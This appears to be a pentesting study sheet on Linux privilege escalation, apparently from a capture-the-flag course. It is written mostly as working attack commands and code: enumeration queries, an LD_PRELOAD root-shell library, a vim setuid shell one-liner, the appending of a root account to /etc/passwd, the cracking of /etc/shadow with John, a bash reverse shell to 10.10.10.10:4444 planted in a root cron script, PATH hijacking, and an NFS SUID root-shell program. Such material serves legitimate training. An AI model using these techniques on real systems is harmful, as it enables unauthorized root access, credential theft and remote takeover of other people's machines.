

What is Privilege Escalation?

- Going from lower permission account to higher permission one
- Exploiting vulnerabilities, design flaws, or configuration oversights
- Gaining unauthorized access to restricted resources

Why Important?

- Initial foothold rarely gives administrative access
- Allows: password reset, bypass access controls, edit configs, enable persistence, change privileges, execute admin commands

Enumeration Commands:

Command	Purpose
<code>hostname</code>	System name, possible role info
<code>uname -a</code>	Kernel version info
<code>cat /proc/version</code>	Kernel version, compiler info
<code>cat /etc/issue</code>	OS info
<code>ps aux</code>	Running processes (all users, with user, no terminal)
<code>ps axjf</code>	Process tree
<code>env</code>	Environmental variables
<code>sudo -l</code>	Commands user can run with sudo
<code>ls -la</code>	List all files (including hidden)
<code>id</code>	User privilege level and group memberships
<code>cat /etc/passwd</code>	Discover users
<code>cat /etc/passwd grep home</code>	Find real users
<code>history</code>	Previous commands, possible credentials
<code>ifconfig / ip route</code>	Network interfaces, pivoting points
<code>netstat -ano</code>	All sockets, no name resolution, timers
<code>netstat -tp</code>	Connections with service name and PID

Find Command for Enumeration:

Find files/directories:

bash

```
find . -name flag1.txt      # Current directory
find /home -name flag1.txt  # Under /home
find / -type d -name config # Directories named config
```

Find by permissions:

bash

```
find / -type f -perm 0777 2>/dev/null # World-readable/writable/executable
find / -perm a=x 2>/dev/null          # Executable files
find / -writable -type d 2>/dev/null  # World-writable folders
find / -perm -222 -type d 2>/dev/null # World-writable folders
find / -perm -o w -type d 2>/dev/null # World-writable folders
find / -perm -o x -type d 2>/dev/null # World-executable folders
find / -perm -u=s -type f 2>/dev/null # SUID bit set files
```

Find by user/time/size:

bash

```
find /home -user frank      # Files for user frank
find / -mtime 10            # Modified in last 10 days
find / -atime 10            # Accessed in last 10 days
find / -cmin -60            # Changed within last hour
find / -amin -60            # Accessed within last hour
find / -size 50M            # Exactly 50MB
find / -size +100M          # Larger than 100MB
```

Find development tools:

bash

```
find / -name perl* 2>/dev/null
find / -name python* 2>/dev/null
find / -name gcc* 2>/dev/null
```

Automated Enumeration Tools:

- LinPeas
- LinEnum
- LES (Linux Exploit Suggester)
- Linux Smart Enumeration
- Linux Priv Checker

Kernel Exploits:

Methodology:

1. Identify kernel version: `uname -a`
2. Search for exploit (Google, CVE details, Exploit-db, searchsploit)
3. Run exploit (CAUTION: can crash system)

Sources:

- <https://www.cvedetails.com/>
- LES script

Hints:

- Don't be too specific with version
 - Understand exploit before running
 - Some exploits need further interaction
 - Transfer files using Python HTTP server + wget
-

Sudo Privilege Escalation:

Check sudo rights: `sudo -l`

GTFOBins: <https://gtfobins.github.io/> - shows how to exploit sudo rights

LD_PRELOAD Vector:

- Check if LD_PRELOAD option enabled with env_keep
- Create shared library:

c

// shell.c

#include <stdio.h>

#include <sys/types.h>

#include <stdlib.h>

```
void _init() {  
    unsetenv("LD_PRELOAD");  
    setgid(0);  
    setuid(0);  
    system("/bin/bash");  
}
```

```
}
```

Compile:

```
bash
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
```

Run with sudo:

```
bash
sudo LD_PRELOAD=/path/to/shell.so <program>
```

SUID/SGID Escalation:

Find SUID files:

```
bash
find / -type f -perm -04000 -ls 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
```

Check GTFobins: <https://gtfobins.github.io/#+suid>

Example with nano SUID:

Read /etc/shadow:

```
bash
nano /etc/shadow
# Extract hash, crack with John
unshadow passwd.txt shadow.txt > passwords.txt
john --wordlist=/usr/share/wordlists/rockyou.txt passwords.txt
```

Add new root user:

```
bash
# Generate password hash on Kali
openssl passwd -1 -salt abc password123

# Add to /etc/passwd
echo "newroot:$1$abc$...:0:0:root:/root:/bin/bash" >> /etc/passwd
su newroot
```

Capabilities Escalation:

List capabilities:

```
bash
getcap -r / 2>/dev/null
```

GTFObins: <https://gtfobins.github.io/#+capabilities>

Example with vim:

```
bash
./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
```

Cron Job Escalation:

View system cron jobs:

```
bash
cat /etc/crontab
```

Vector 1 - Modify existing script:

- Find writable script run by root in cron
- Add reverse shell:

```
bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
```

- Start listener on attacker

Vector 2 - Missing script (PATH hijack):

- If cron job runs script with no full path
- Check PATH in /etc/crontab
- Create script with same name in writable PATH directory

Vector 3 - Wildcard exploitation:

- Some tools (tar, 7z, rsync) have wildcard features that can be exploited
-

PATH Hijacking:

Check writable PATH folders:

```
bash
find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u
```

```
echo $PATH
```

Add folder to PATH:

```
bash
export PATH=/writable-folder:$PATH
```

Create malicious binary:

```
bash
cp /bin/bash /writable-folder/thm
chmod +x /writable-folder/thm
```

When a SUID script runs "thm", it runs our bash with root privileges

NFS (Network File Sharing) Escalation:

Check NFS config:

```
bash
cat /etc/exports
# Look for "no_root_squash" option
```

From attacker:

```
bash
# Show mounts
showmount -e <target-ip>
```

```
# Mount share
mount -o rw,vers=2 <target-ip>:/<share> /mnt
```

```
# Create SUID executable
```

```
cat > /mnt/shell.c << EOF
```

```
#include <stdio.h>
```

```
#include <sys/types.h>
```

```
#include <unistd.h>
```

```
int main() {
```

```
    setuid(0);
```

```
    setgid(0);
```

```
    system("/bin/bash");
```

```
    return 0;
```

```
}
```

```
EOF
```

```
# Compile with SUID
gcc /mnt/shell.c -o /mnt/shell
chmod +s /mnt/shell
```

On target, run the shell for root access

Key Takeaways:

- Enumeration is everything - spend time gathering information
- Check all the basics - sudo -l, SUID files, capabilities, cron jobs, PATH
- Use GTFOBins - invaluable resource for exploiting binaries
- Kernel exploits are risky - last resort, can crash system
- Automation tools help but don't rely solely on them
- Always redirect errors `2>/dev/null` for cleaner output
- Think about system roles - production servers, backup systems, etc.